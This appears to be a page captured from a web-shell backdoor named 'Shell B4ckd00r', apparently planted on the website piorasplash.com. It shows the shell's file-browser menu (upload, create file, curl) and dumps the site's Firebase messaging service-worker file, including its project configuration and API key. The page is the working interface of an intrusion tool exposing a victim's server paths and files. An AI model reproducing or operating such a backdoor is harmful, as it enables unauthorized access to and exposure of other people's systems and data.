Shell B4ckd00r
Current Dir :
/
home
/
u789730693
/
domains
/
piorasplash.com
/
public_html
/
public
/
Home
Upload
Create Dir
Create File
Curl
Current File : /home/u789730693/domains/piorasplash.com/public_html/public/firebase-messaging-sw.js
importScripts('https://www.gstatic.com/firebasejs/8.10.1/firebase-app.js'); importScripts('https://www.gstatic.com/firebasejs/8.10.1/firebase-messaging.js'); let config = { apiKey: "AIzaSyAZao3PPeQsjlur0U54Grzc_71VLocEWGM", authDomain: "piora-splash.firebaseapp.com", projectId: "piora-splash", storageBucket: "piora-splash.firebasestorage.app", messagingSenderId: "470547330747", appId: "1:470547330747:web:bfad064b400a416e91db9e", measurementId: "G-0HL3W4N5K6", }; firebase.initializeApp(config); const messaging = firebase.messaging(); messaging.onBackgroundMessage((payload) => { const notificationTitle = payload.notification.title; const notificationOptions = { body: payload.notification.body, icon: '/images/required/firebase-logo.png' }; self.registration.showNotification(notificationTitle, notificationOptions); });
v.01